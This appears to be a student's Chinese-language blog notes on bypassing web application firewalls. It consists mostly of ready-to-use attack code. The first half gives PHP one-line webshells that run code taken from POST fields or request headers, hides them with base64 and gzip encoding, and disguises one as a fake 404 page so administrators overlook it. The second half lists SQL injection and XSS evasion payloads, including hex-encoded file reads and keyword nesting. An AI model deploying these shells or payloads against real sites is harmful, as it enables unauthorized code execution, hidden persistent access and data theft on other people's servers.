bypass_waf

一句话 bypass_waf

听学长说现在web很多都要花式bypass waf
刚好才理解一点一句话木马 看到一篇升级版一句话
即关于其无特征bupass waf的文章 先记录下来

(也看到了一篇sql和xss绕waf的 挺不错的 记录在下面)

姿势一 php动态函数 (无eval)
<?php $_POST['xx']($_POST['oo']);?>
利用 在hackbar Post data
写入xx=assert¥oo=QAQ

姿势二 无Post
getallheaders函数能够获取请求头内容
<?php eval(getallheaders()['Accept-Language']);>
结合姿势一
<?php $a=getallheaders()['xxx'];$a(getallheaders()['ooo']);>

姿势三 遇到会检测http请求头内容的waf
<?php eval(gzuncompress(base64_decode(getallheaders()['xx'])));>
解开之后发现是乱码,waf识别不出来里面的内容
结合姿势一
<?php $xx=gzuncompress(base64_decode(getallheaders()['xx']));$xx(gzuncompress(base64_decode(getallheaders()['oo'])));>

姿势四 防止管理员删shell>伪装成404

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
...
<?php
$xx=getallheaders()['xx'];
$oo=getallheaders()['oo'];
if($xx!="" and $oo!=""){
$xx=gzuncompress(base64_decode($xx));$xx(gzuncompress(base64_decode($oo)));
}
>
</body></html>

SQL XSS bypass waf

姿势一 大小写转换
SQL:sEleCt vERsIoN()
XSS:<sCrIpt>aleRt(1)</scrIpt>

姿势二 字符编码
SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)
XSS:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

姿势三 拼凑法 其只验证一次
SQL:selselectect verversionsion();
XSS:<scr<script>rip>alalertert</scr</script>rip>

姿势四 干扰字符污染法:
空字符 空格 TAB换行 注释 特殊的函数等等都可以
SQL:sEleCt+1-1+vERsIoN /*!*/ ();